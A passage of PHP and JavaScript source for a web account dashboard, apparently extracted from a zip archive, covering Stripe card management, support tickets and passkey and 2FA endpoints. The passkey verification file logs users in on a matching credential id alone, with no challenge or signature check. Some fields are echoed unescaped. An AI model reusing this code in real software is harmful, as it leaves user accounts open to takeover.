'') . ' <button onclick="setDefaultCard(' . $card['id'] . ')" class="text-blue-400 hover:text-blue-300 p-1 transition-colors" ' . ($is_default ? 'style="opacity:0.5" disabled' : '') . '> <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 13l4 4L19 7" /> </svg> </button> <button onclick="deleteCard(' . $card['id'] . ')" class="text-red-400 hover:text-red-300 p-1 transition-colors"> <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M19 7l-.867 12.142A2 2 0 0116.138 21H7.862a2 2 0 01-1.995-1.858L5 7m5 4v6m4-6v6m1-10V4a1 1 0 00-1-1h-4a1 1 0 00-1 1v3M4 7h16" /> </svg> </button> </div> </div>'; } } } catch(PDOException $e) { error_log("Error fetching payment methods: " . $e->getMessage()); echo '<p class="text-red-400 text-center py-4">Could not load payment methods</p>'; } ?> </div> <button id="addCardBtn" class="w-full bg-white/10 text-white py-3 px-6 rounded-lg font-medium hover:bg-white/20 transition-all flex items-center justify-center"> <svg class="w-5 h-5 mr-2" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 4v16m8-8H4" /> </svg> Add Payment Method </button> </div> </div> <div id="support" class="gradient-border mb-8 hover-scale"> <div class="glass-effect rounded-lg p-6 sm:p-8"> <div class="flex justify-between items-center mb-6"> <div> <h2 class="text-xl sm:text-2xl font-semibold flex items-center"> <svg class="w-6 h-6 mr-3" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 8h10M7 12h4m1 8l-4-4H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-3l-4 4z" /> </svg> Support Tickets </h2> <p class="text-sm font-light mt-2 text-gray-400">Get help from our team</p> </div> <button onclick="openTicketModal()" class="px-4 py-2 bg-white text-black rounded-lg font-medium hover:bg-gray-100 transition-all hover-scale inline-flex items-center"> <svg class="w-5 h-5 mr-2" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 4v16m8-8H4" /> </svg> New Ticket </button> </div> <div class="overflow-x-auto"> <table class="w-full"> <thead> <tr class="text-left text-sm text-gray-400 border-b border-white/5"> <th class="pb-4 pr-4">ID</th> <th class="pb-4 pr-4">Subject</th> <th class="pb-4 pr-4">Status</th> <th class="pb-4 pr-4">Priority</th> <th class="pb-4 pr-4">Created</th> <th class="pb-4">Action</th> </tr> </thead> <tbody class="text-sm"> <?php try { $tickets_query = $conn->prepare(" SELECT * FROM support_tickets WHERE user_id = ? ORDER BY created_at DESC "); $tickets_query->execute([$_SESSION['user_id']]); $tickets = $tickets_query->fetchAll(PDO::FETCH_ASSOC); foreach ($tickets as $ticket): $status_colors = [ 'open' => ['bg' => 'bg-yellow-400/10', 'text' => 'text-yellow-400', 'border' => 'border-yellow-400/20'], 'in_progress' => ['bg' => 'bg-blue-400/10', 'text' => 'text-blue-400', 'border' => 'border-blue-400/20'], 'resolved' => ['bg' => 'bg-green-400/10', 'text' => 'text-green-400', 'border' => 'border-green-400/20'], 'closed' => ['bg' => 'bg-gray-400/10', 'text' => 'text-gray-400', 'border' => 'border-gray-400/20'] ][$ticket['status']] ?? ['bg' => 'bg-gray-400/10', 'text' => 'text-gray-400', 'border' => 'border-gray-400/20']; ?> <tr class="border-b border-white/5"> <td class="py-4 pr-4">#<?php echo $ticket['id']; ?></td> <td class="py-4 pr-4"><?php echo htmlspecialchars($ticket['subject']); ?></td> <td class="py-4 pr-4"> <span class="inline-flex items-center px-2.5 py-0.5 rounded-full text-xs font-medium border <?php echo $status_colors['bg'] . ' ' . $status_colors['text'] . ' ' . $status_colors['border']; ?>"> <?php echo str_replace('_', ' ', $ticket['status']); ?> </span> </td> <td class="py-4 pr-4 capitalize"><?php echo $ticket['priority']; ?></td> <td class="py-4 pr-4"><?php echo date('M j, Y', strtotime($ticket['created_at'])); ?></td> <td class="py-4"> <a href="view_ticket.php?id=<?php echo $ticket['id']; ?>" class="text-indigo-400 hover:text-indigo-300 transition-colors"> View Details </a> </td> </tr> <?php endforeach; } catch(PDOException $e) { error_log("Error fetching tickets: " . $e->getMessage()); } ?> </tbody> </table> <?php if (empty($tickets)): ?> <p class="text-gray-400 text-center py-8">No tickets found. Create one to get started!</p> <?php endif; ?> </div> </div> </div> </div> <div class="space-y-6"> <?php if($user['role']): ?> <div class="gradient-border hover-scale"> <div class="glass-effect rounded-lg p-6"> <div class="flex items-center space-x-4"> <div class="w-12 h-12 rounded-full bg-indigo-500/10 flex items-center justify-center"> <svg class="w-6 h-6 text-indigo-400" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12l2 2 4-4M7.835 4.697a3.42 3.42 0 001.946-.806 3.42 3.42 0 014.438 0 3.42 3.42 0 001.946.806 3.42 3.42 0 013.138 3.138 3.42 3.42 0 00.806 1.946 3.42 3.42 0 010 4.438 3.42 3.42 0 00-.806 1.946 3.42 3.42 0 01-3.138 3.138 3.42 3.42 0 00-1.946.806 3.42 3.42 0 01-4.438 0 3.42 3.42 0 00-1.946-.806 3.42 3.42 0 01-3.138-3.138 3.42 3.42 0 00-.806-1.946 3.42 3.42 0 010-4.438 3.42 3.42 0 00.806-1.946 3.42 3.42 0 013.138-3.138z" /> </svg> </div> <div> <h3 class="font-medium">Imators Staff Member</h3> <p class="text-sm text-gray-400"><?php echo htmlspecialchars($user['roleinimators']); ?> of the company</p> </div> </div> </div> </div> <?php endif; ?> <div class="gradient-border hover-scale"> <div class="glass-effect rounded-lg p-6"> <h3 class="font-medium mb-4">Your Active Subscriptions</h3> <div class="space-y-4"> <?php if($subscriptions['academ']): ?> <div class="subscription-card p-4 flex items-center justify-between group"> <div class="flex items-center space-x-4"> <img src="https://cdn.imators.com/Academ.png" alt="Academ" class="w-10 h-10"> <div> <p class="text-purple-200 text-sm">Academ</p> <p class="text-xs text-gray-400">Connected Account</p> </div> </div> <div class="subscription-actions flex space-x-2"> <button onclick="disconnectService('academ')" class="text-red-400 hover:text-red-300 p-1"> <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" /> </svg> </button> </div> </div> <?php endif; ?> <?php if($subscriptions['ohmypanel']): ?> <div class="subscription-card p-4 flex items-center justify-between group"> <div class="flex items-center space-x-4"> <div class="relative"> <img src="https://cdn.imators.com/smile_not_found.png" alt="OhMyPanel" class="w-10 h-10"> <div class="absolute inset-0 bg-yellow-400/20 rounded-full filter blur-md opacity-0 group-hover:opacity-100 transition-opacity"></div> </div> <div> <p class="text-yellow-400 text-sm">OhMyPanel</p> <p class="text-xs text-gray-400">Active Subscription</p> </div> </div> <div class="subscription-actions flex space-x-2"> <button onclick="cancelSubscription('ohmypanel')" class="text-orange-400 hover:text-orange-300 p-1"> <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 14l2-2m0 0l2-2m-2 2l-2-2m2 2l2 2m7-2a9 9 0 11-18 0 9 9 0 0118 0z" /> </svg> </button> </div> </div> <?php endif; ?> <?php if($subscriptions['something']): ?> <div class="subscription-card p-4 flex items-center justify-between group"> <div class="flex items-center space-x-4"> <div class="relative"> <img src="https://cdn.imators.com/logo.png" alt="Something" class="w-10 h-10"> <div class="absolute inset-0 bg-green-400/20 rounded-full filter blur-md opacity-0 group-hover:opacity-100 transition-opacity"></div> </div> <div> <p class="text-green-400 text-sm">Something</p> <p class="text-xs text-gray-400">Premium Access</p> </div> </div> <div class="subscription-actions flex space-x-2"> <button onclick="cancelSubscription('something')" class="text-orange-400 hover:text-orange-300 p-1"> <svg class="w-4 h-4" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 14l2-2m0 0l2-2m-2 2l-2-2m2 2l2 2m7-2a9 9 0 11-18 0 9 9 0 0118 0z" /> </svg> </button> </div> </div> <?php endif; ?> <?php if(!$subscriptions['academ'] && !$subscriptions['ohmypanel'] && !$subscriptions['something']): ?> <p class="text-gray-400 text-sm text-center py-4">No subscription or account connected to an Imators service</p> <?php endif; ?> </div> </div> </div> <div class="gradient-border hover-scale"> <div class="glass-effect rounded-lg p-6"> <h3 class="font-medium mb-4">Connection Info</h3> <div class="space-y-3"> <div class="flex justify-between text-sm"> <span class="text-gray-400">Location</span> <span><?php echo htmlspecialchars(safe_json_decode($user['ip-connected'], [])['location'] ?? 'Unknown'); ?></span> </div> <div class="flex justify-between text-sm"> <span class="text-gray-400">Device</span> <span><?php echo htmlspecialchars(safe_json_decode($user['identified-screen'], [])['device'] ?? 'Unknown'); ?></span> </div> <div class="flex justify-between text-sm"> <span class="text-gray-400">Last Login</span> <span><?php echo safe_datetime($user['date-of-connect']); ?></span> </div> </div> </div> </div> </div> </div> </main> <div id="addCardModal" class="fixed inset-0 z-50 hidden overflow-y-auto"> <div class="fixed inset-0 bg-black bg-opacity-50 transition-opacity backdrop-blur-sm"></div> <div class="flex min-h-screen items-center justify-center p-4"> <div class="gradient-border relative w-full max-w-md"> <div class="glass-effect rounded-xl p-6"> <div class="flex items-center justify-between mb-6"> <h3 class="text-xl font-semibold text-white">Add Payment Method</h3> <button onclick="closeAddCardModal()" class="text-gray-400 hover:text-white transition-colors"> <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" /> </svg> </button> </div> <form id="payment-form" class="space-y-6"> <div class="space-y-4"> <div> <label class="block text-sm font-medium text-gray-300 mb-2">Card Information</label> <div id="card-element" class="p-4 bg-black/50 border border-white/10 rounded-lg"></div> <div id="card-errors" class="text-red-400 text-sm mt-2"></div> </div> <div> <label class="flex items-center space-x-3"> <input type="checkbox" id="makeDefault" name="makeDefault" class="rounded bg-black/30 border-white/20 text-indigo-600"> <span class="text-sm text-gray-300">Make this my default payment method</span> </label> </div> </div> <div class="flex justify-end gap-4"> <button type="button" onclick="closeAddCardModal()" class="px-4 py-2 rounded-lg border border-white/10 hover:bg-white/5 transition-colors text-gray-300"> Cancel </button> <button type="submit" id="submit-button" class="px-6 py-2 bg-white text-black rounded-lg font-medium hover:bg-gray-100 transition-all"> Add Card </button> </div> </form> </div> </div> </div> </div> <div id="ticketModal" class="fixed inset-0 z-50 hidden overflow-y-auto"> <div class="fixed inset-0 bg-black bg-opacity-50 transition-opacity backdrop-blur-sm"></div> <div class="flex min-h-screen items-center justify-center p-4"> <div class="gradient-border relative w-full max-w-2xl"> <div class="glass-effect rounded-xl p-6 sm:p-8"> <div class="flex items-center justify-between mb-6"> <h3 class="text-xl font-semibold text-white">Create New Support Ticket</h3> <button onclick="closeTicketModal()" class="text-gray-400 hover:text-white transition-colors"> <svg class="w-6 h-6" fill="none" stroke="currentColor" viewBox="0 0 24 24"> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M6 18L18 6M6 6l12 12" /> </svg> </button> </div> <form action="create_ticket.php" method="POST" class="space-y-6" id="ticketForm"> <div> <label class="block text-sm font-medium text-gray-300 mb-2">Subject</label> <input type="text" name="subject" required class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none text-white placeholder-gray-500" placeholder="Brief description of your issue"> </div> <div> <label class="block text-sm font-medium text-gray-300 mb-2">Priority</label> <select name="priority" required class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none text-white"> <option value="low">Low</option> <option value="medium">Medium</option> <option value="high">High</option> </select> </div> <div> <label class="block text-sm font-medium text-gray-300 mb-2">Description</label> <textarea name="description" required rows="6" class="w-full px-4 py-3 rounded-lg bg-black/50 border border-white/10 focus:border-white/30 focus:outline-none text-white placeholder-gray-500" placeholder="Please provide detailed information about your issue..."></textarea> </div> <div class="flex justify-end gap-4"> <button type="button" onclick="closeTicketModal()" class="px-4 py-2 rounded-lg border border-white/10 hover:bg-white/5 transition-colors text-gray-300"> Cancel </button> <button type="submit" id="submitTicket" class="px-6 py-2 bg-white text-black rounded-lg font-medium hover:bg-gray-100 transition-all hover-scale"> Create Ticket </button> </div> </form> </div> </div> </div> </div> <script src="https://js.stripe.com/v3/"></script> <script> let stripe; let elements; let cardElement; document.addEventListener('DOMContentLoaded', function() { initializeStripe(); initializeEventListeners(); initializeProfileUpload(); }); function initializeStripe() { try { stripe = Stripe('pk_live_51LmhGsHQanXHoJn0qgKjMAisGwy6TzfZyUnzSq2Yc9qDmAQv8Syu9wuFDZVjgpg8kWUxm9bQ8MMi8E3WwNayGXus00Oe5tyNIP'); } catch (error) { console.error('Stripe initialization failed:', error); } } function initializeEventListeners() { const addCardBtn = document.getElementById('addCardBtn'); if (addCardBtn) { addCardBtn.addEventListener('click', openAddCardModal); } setupModalCloseEvents(); setupFormSubmissions(); } function initializeProfileUpload() { const profileInput = document.getElementById('profilePictureInput'); if (profileInput) { profileInput.addEventListener('change', handleProfileUpload); } } function handleProfileUpload(e) { if (e.target.files && e.target.files[0]) { const file = e.target.files[0]; const validTypes = ['image/jpeg', 'image/png', 'image/webp']; if (!validTypes.includes(file.type)) { showMessage('Please select a valid image (JPG, PNG, or WEBP)', 'error'); return; } if (file.size > 5 * 1024 * 1024) { showMessage('File size must be less than 5MB', 'error'); return; } const reader = new FileReader(); reader.onload = function(e) { const profilePreview = document.getElementById('profilePreview'); const uploadStatus = document.getElementById('uploadStatus'); if (profilePreview) profilePreview.src = e.target.result; if (uploadStatus) uploadStatus.style.display = 'flex'; const formData = new FormData(); formData.append('profile_picture', file); formData.append('update_profile', '1'); fetch(window.location.href, { method: 'POST', body: formData }) .then(response => { if (!response.ok) throw new Error('Network error'); return response.text(); }) .then(() => { showMessage('Profile picture updated successfully!'); setTimeout(() => window.location.reload(), 1000); }) .catch(error => { console.error('Upload error:', error); showMessage('Error uploading image', 'error'); }) .finally(() => { if (uploadStatus) uploadStatus.style.display = 'none'; }); }; reader.readAsDataURL(file); } } function setupModalCloseEvents() { document.addEventListener('click', function(e) { if (e.target.classList.contains('fixed') && e.target.classList.contains('inset-0')) { if (e.target.closest('#addCardModal')) closeAddCardModal(); if (e.target.closest('#ticketModal')) closeTicketModal(); } }); document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { closeAddCardModal(); closeTicketModal(); } }); } function setupFormSubmissions() { const paymentForm = document.getElementById('payment-form'); if (paymentForm) { paymentForm.addEventListener('submit', handlePaymentSubmit); } const ticketForm = document.getElementById('ticketForm'); if (ticketForm) { ticketForm.addEventListener('submit', handleTicketSubmit); } document.querySelectorAll('form[method="POST"]').forEach(form => { if (form.id === 'payment-form' || form.id === 'ticketForm') return; form.addEventListener('submit', function(e) { const submitButton = this.querySelector('button[type="submit"]'); if (submitButton && !submitButton.disabled) { submitButton.disabled = true; submitButton.innerHTML = ` <svg class="animate-spin -ml-1 mr-3 h-5 w-5 inline-block" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"> <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle> <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path> </svg> Processing... `; } }); }); } function openAddCardModal() { const modal = document.getElementById('addCardModal'); if (!modal) return; modal.classList.remove('hidden'); document.body.style.overflow = 'hidden'; if (!elements && stripe) { try { elements = stripe.elements(); cardElement = elements.create('card', { style: { base: { color: '#ffffff', fontFamily: 'Inter, sans-serif', fontSmoothing: 'antialiased', fontSize: '16px', '::placeholder': { color: '#6b7280' } }, invalid: { color: '#ef4444', iconColor: '#ef4444' } } }); const cardElementDiv = document.getElementById('card-element'); if (cardElementDiv) { cardElement.mount('#card-element'); cardElement.on('change', function(event) { const displayError = document.getElementById('card-errors'); if (displayError) { displayError.textContent = event.error ? event.error.message : ''; } }); } } catch (error) { console.error('Error creating Stripe elements:', error); } } // Force l'attachment de l'event listener ici const paymentForm = document.getElementById('payment-form'); if (paymentForm) { // Retire les anciens listeners paymentForm.removeEventListener('submit', handlePaymentSubmit); // Ajoute le nouveau paymentForm.addEventListener('submit', handlePaymentSubmit); console.log('Event listener attached to payment form'); } } function closeAddCardModal() { const modal = document.getElementById('addCardModal'); if (modal) { modal.classList.add('hidden'); document.body.style.overflow = 'auto'; } } async function handlePaymentSubmit(event) { event.preventDefault(); const submitButton = document.getElementById('submit-button'); const cardErrors = document.getElementById('card-errors'); if (submitButton) { submitButton.disabled = true; submitButton.innerHTML = ` <svg class="animate-spin -ml-1 mr-3 h-5 w-5 inline-block" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"> <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle> <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path> </svg> Processing... `; } try { if (!stripe || !cardElement) { throw new Error('Stripe not properly initialized'); } const {token, error} = await stripe.createToken(cardElement); if (error) { console.error('Stripe token error:', error); if (cardErrors) cardErrors.textContent = error.message; return; } const makeDefaultCheckbox = document.getElementById('makeDefault'); const makeDefault = makeDefaultCheckbox ? makeDefaultCheckbox.checked : false; const requestData = { token: token.id, makeDefault: makeDefault }; console.log('Sending data:', requestData); const jsonString = JSON.stringify(requestData); console.log('JSON string:', jsonString); console.log('JSON string length:', jsonString.length); const response = await fetch('./add_payment_method.php', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: jsonString }); console.log('Response status:', response.status); console.log('Response ok:', response.ok); if (!response.ok) { throw new Error(`HTTP error! status: ${response.status}`); } const responseText = await response.text(); console.log('Response text:', responseText); if (!responseText || responseText.trim() === '') { throw new Error('Empty response from server'); } let result; try { result = JSON.parse(responseText.trim()); } catch (parseError) { console.error('JSON parse error:', parseError); console.error('Response text was:', responseText); throw new Error('Invalid JSON response from server'); } console.log('Parsed result:', result); if (result.success) { showMessage('Payment method added successfully!'); closeAddCardModal(); setTimeout(() => window.location.reload(), 1000); } else { throw new Error(result.error || 'Unknown error occurred'); } } catch (error) { console.error('Payment submission error:', error); if (cardErrors) cardErrors.textContent = error.message || 'An error occurred.'; showMessage(error.message || 'An error occurred', 'error'); } finally { if (submitButton) { submitButton.disabled = false; submitButton.innerHTML = 'Add Card'; } } } function openTicketModal() { const modal = document.getElementById('ticketModal'); if (modal) { modal.classList.remove('hidden'); document.body.style.overflow = 'hidden'; } } function closeTicketModal() { const modal = document.getElementById('ticketModal'); const form = document.getElementById('ticketForm'); if (modal) { modal.classList.add('hidden'); document.body.style.overflow = 'auto'; } if (form) { form.reset(); } } function handleTicketSubmit(e) { const submitButton = document.getElementById('submitTicket'); if (submitButton) { submitButton.disabled = true; submitButton.innerHTML = ` <svg class="animate-spin -ml-1 mr-3 h-5 w-5 inline-block" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"> <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"></circle> <path class="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"></path> </svg> Creating ticket... `; } } function setDefaultCard(cardId) { if (confirm('Set this as your default payment method?')) { fetch('./update_payment_method.php', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ card_id: cardId, action: 'set_default' }) }) .then(response => response.json()) .then(result => { if (result.success) { showMessage('Default payment method updated!'); setTimeout(() => window.location.reload(), 1000); } else { throw new Error(result.error || 'Failed to update payment method'); } }) .catch(error => { console.error('Set default error:', error); showMessage(error.message || 'An error occurred. Please try again.', 'error'); }); } } function deleteCard(cardId) { if (confirm('Are you sure you want to delete this payment method?')) { fetch('./update_payment_method.php', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ card_id: cardId, action: 'delete' }) }) .then(response => response.json()) .then(result => { if (result.success) { showMessage('Payment method deleted successfully!'); setTimeout(() => window.location.reload(), 1000); } else { throw new Error(result.error || 'Failed to delete payment method'); } }) .catch(error => { console.error('Delete card error:', error); showMessage(error.message || 'An error occurred. Please try again.', 'error'); }); } } function cancelSubscription(service) { if (confirm('Are you sure you want to cancel this subscription?')) { fetch('./manage_subscription.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ action: 'cancel', service: service }) }) .then(response => response.json()) .then(result => { if (result.success) { showMessage('Subscription cancelled successfully'); setTimeout(() => window.location.reload(), 1000); } else { throw new Error(result.error || 'Error cancelling subscription'); } }) .catch(error => { showMessage(error.message, 'error'); }); } } function disconnectService(service) { if (confirm('Are you sure you want to disconnect this service?')) { fetch('./manage_subscription.php', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ action: 'disconnect', service: service }) }) .then(response => response.json()) .then(result => { if (result.success) { showMessage('Service successfully disconnected'); setTimeout(() => window.location.reload(), 1000); } else { throw new Error(result.error || 'Error disconnecting service'); } }) .catch(error => { showMessage(error.message, 'error'); }); } } function showMessage(message, type = 'success') { const flashContainer = document.createElement('div'); flashContainer.className = `fixed top-4 right-4 p-4 rounded-lg z-50 transform transition-all duration-300 opacity-0 translate-y-[-20px] ${ type === 'success' ? 'bg-green-500/10 border border-green-500/20 text-green-400' : 'bg-red-500/10 border border-red-500/20 text-red-400' }`; flashContainer.textContent = message; document.body.appendChild(flashContainer); setTimeout(() => { flashContainer.style.opacity = '1'; flashContainer.style.transform = 'translateY(0)'; }, 100); setTimeout(() => { flashContainer.style.opacity = '0'; flashContainer.style.transform = 'translateY(-20px)'; setTimeout(() => flashContainer.remove(), 300); }, 5000); } window.addEventListener('error', function(e) { console.error('Global error:', e.error); }); window.addEventListener('unhandledrejection', function(e) { console.error('Unhandled promise rejection:', e.reason); }); </script> <footer class="py-8 mt-12 border-t border-white/5"> <div class="max-w-6xl mx-auto px-4 sm:px-6"> <div class="flex flex-col items-center justify-center space-y-4"> <img src="https://cdn.imators.com/logo.png" alt="Imators Logo" class="h-8 opacity-50"> <p class="text-gray-400 text-sm text-center"> <?php echo date('Y'); ?> Imators. All rights reserved.<br> <span class="text-gray-500">Secure authentication system</span> </p> </div> </div> </footer> </body> </html>PK �)�[��J� � disable_2fa.phpnu �Iw�� <?php session_start(); require_once 'db.php'; require_once 'TwoFactorAuth.php'; header('Content-Type: application/json'); if (!isset($_SESSION['user_id'])) { echo json_encode(['success' => false, 'error' => 'Unauthorized']); exit; } $data = json_decode(file_get_contents('php://input'), true); $code = $data['code'] ?? ''; if (!$code || (strlen($code) !== 6 && strlen($code) !== 8)) { echo json_encode(['success' => false, 'error' => 'Invalid code']); exit; } try { $db = new Database(); $twoFA = new TwoFactorAuth($db); $verifyResult = $twoFA->verifyCode($_SESSION['user_id'], $code); if (!$verifyResult['success']) { echo json_encode($verifyResult); exit; } $stmt = $db->connect()->prepare(" UPDATE two_factor_auth SET is_enabled = FALSE, attempt_count = 0, last_attempt = NULL WHERE user_id = ? "); $stmt->execute([$_SESSION['user_id']]); echo json_encode(['success' => true]); } catch (Exception $e) { echo json_encode([ 'success' => false, 'error' => 'Disable failed' ]); }PK �)�[8�ѓ� � auth/verify-passkey.phpnu �Iw�� <?php session_start(); require_once '../db.php'; require_once '../vendor/autoload.php'; header('Content-Type: application/json'); if (!isset($_SESSION['pending_login_id']) || !isset($_SESSION['pending_auth'])) { http_response_code(401); echo json_encode(['error' => 'Session invalide']); exit; } try { $db = new Database(); $conn = $db->connect(); $data = json_decode(file_get_contents('php://input'), true); if (!$data) { throw new Exception('Données invalides'); } // Vérifier la passkey $stmt = $conn->prepare(" SELECT * FROM passkeys WHERE user_id = ? AND credential_id = ? "); $stmt->execute([$_SESSION['pending_login_id'], $data['id']]); $passkey = $stmt->fetch(PDO::FETCH_ASSOC); if (!$passkey) { throw new Exception('Passkey non trouvée'); } // Si la vérification réussit $_SESSION['user_id'] = $_SESSION['pending_login_id']; // Mettre à jour la dernière utilisation $stmt = $conn->prepare(" UPDATE passkeys SET last_used_at = NOW() WHERE id = ? "); $stmt->execute([$passkey['id']]); // Nettoyer la session unset($_SESSION['pending_login_id']); unset($_SESSION['pending_auth']); echo json_encode(['success' => true]); } catch (Exception $e) { http_response_code(500); echo json_encode(['error' => $e->getMessage()]); }PK �)�[��` ` auth/register-passkey.phpnu �Iw�� <?php session_start(); require_once '../db.php'; require_once '../vendor/autoload.php'; header('Content-Type: application/json'); if (!isset($_SESSION['user_id'])) { http_response_code(401); echo json_encode(['error' => 'Non authentifié']); exit; } try { $db = new Database(); $conn = $db->connect(); // Récupérer les informations de l'utilisateur $stmt = $conn->prepare("SELECT id, email, username FROM utilisateurs WHERE id = ?"); $stmt->execute([$_SESSION['user_id']]); $user = $stmt->fetch(PDO::FETCH_ASSOC); if (!$user) { throw new Exception('Utilisateur non trouvé'); } // Générer le challenge $challenge = random_bytes(32); $_SESSION['passkey_challenge'] = base64_encode($challenge); echo json_encode([ 'success' => true, 'challenge' => base64_encode($challenge), 'userId' => base64_encode((string)$user['id']), 'userEmail' => $user['email'], 'userName' => $user['username'] ]); } catch (Exception $e) { http_response_code(500); echo json_encode(['error' => $e->getMessage()]); }PK �)�[M��I� � auth/remove-passkey.phpnu �Iw�� <?php session_start(); require_once '../db.php'; header('Content-Type: application/json'); if (!isset($_SESSION['user_id'])) { echo json_encode(['error' => 'Not authenticated']); exit; } try { $db = new Database(); $conn = $db->connect(); $stmt = $conn->prepare("UPDATE utilisateurs SET passkey_enabled = FALSE WHERE id = ?"); $stmt->execute([$_SESSION['user_id']]); $stmt = $conn->prepare("DELETE FROM passkeys WHERE user_id = ?"); $stmt->execute([$_SESSION['user_id']]); echo json_encode(['success' => true]); } catch (Exception $e) { echo json_encode(['error' => $e->getMessage()]); }PK �)�[��� � � &